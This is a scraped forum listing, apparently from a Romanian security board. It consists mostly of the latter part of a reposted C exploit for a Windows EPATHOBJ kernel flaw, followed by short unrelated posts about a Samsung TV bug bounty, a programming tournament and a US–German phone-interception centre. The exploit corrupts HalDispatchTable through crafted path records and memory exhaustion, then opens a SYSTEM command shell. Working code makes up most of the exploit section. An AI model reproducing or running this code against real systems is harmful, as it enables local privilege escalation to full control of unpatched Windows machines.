HMODULE KernelHandle; PULONG DispatchRedirect; PULONG Interval; ULONG SavedInterval; RTL_PROCESS_MODULES ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n" "\n"); NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); DispatchRedirect = (PVOID) HalDispatchRedirect; Interval = (PULONG) ShellCode; SavedInterval = Interval[0]; TargetPid = GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return 1; } } LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord); ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; EndPath(Device); } if (Finished) { LogMessage(L_INFO, "Success, launching shell...", Finished); ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(0); } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(1); } // A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; va_start(Args, Format); vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, " [*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break; } fflush(stdout); fflush(stderr); return TRUE; } Sursa: Windows 8 to NT EPATHOBJ Local Ring 0 Exploit - CXSecurity.com
  22. https://samsungtvbounty.com/ Every entry which will be selected, after the evaluation by our security experts, will be rewarded with a bounty. The monetary reward for one bounty is 1000 USD or more. Only one bounty per security bug will be awarded.
  23. Nytro

    Hunger Games

    [h=1]Hunger Games[/h] [h=2]A game theory programming tournament[/h] Write an algorithm to fight to the death against other algorithms. Cooperate and compete with other players at different points in the game to survive and win. [h=2]Who can play?[/h] Anyone – individuals and teams of up to 3 people. [h=2]What skills are tested?[/h] Mathematical analysis, game theory, algorithmic thinking [h=2]When is the submission deadline?[/h] August 18, 2013 5 Grand Prizes: $1,000 each Survivor Prizes: "I survived" T-shirt http://brilliant.org/competitions/hunger-games/
  24. SUA ?i Germania s-au în?eles pentru construirea unui centru special de INTERCEPT?RI telefonice Statele Unite ?i Germania au b?tut palma pentru construirea unui centru special de interceptare a convorbirilor telefonice ?i de colectare a datelor electronice. Noul centru va fi amplasat pe teritoriul german. ?eful Serviciului German de Informa?ii (BND), Gerhard Schindler, a declarat c? înstitu?ia pe care o conduce a negociat cu Agen?ia Na?ional? de Securitate a SUA (NSA) ?i au decis construirea centrului special în Germania, potrivit postului de televiziune rus Vesti-24, citat de Agerpres. Sediul centrului special se va afla la Wiesbaden, acolo unde î?i desf??oar? activitatea Comandamentul european al For?elor Terestre ale Statelor Unite ale Americii. Potrivit ziarului german Mitteldeutsche Zeitung, ?eful BND a f?cut o comunicare în acest sens miercuri în cadrul unei ?edin?e a Bundestag-ului pentru afaceri interne. ?eful Oficiului Federal pentru Protec?ia Constitu?iei, Hans-Georg Maaßen, declarase anterior c? datele de supraveghere electronic? desf??urat? de NSA au fost folosite pentru prevenirea a ?apte acte teroriste pe teritoriul ??rii. Cu toate acestea, o parte a societ??ii germane continu? s? insiste ca guvernul de la Berlin s? cear? clarific?ri administra?iei americane în leg?tur? cu intercept?rile convorbirilor telefonice ale cet??enilor din Germania de c?tre serviciile secrete din SUA, precum ?i a comunica?iilor pe Internet, prin intermediul programului secret PRISM. Sursa: SUA ?i Germania s-au în?eles pentru construirea unui centru special de INTERCEPT?RI telefonice | stiri - Stiri si opinii nonstop, stiri ultima ora - GHIMPELE
×
×
  • Create New...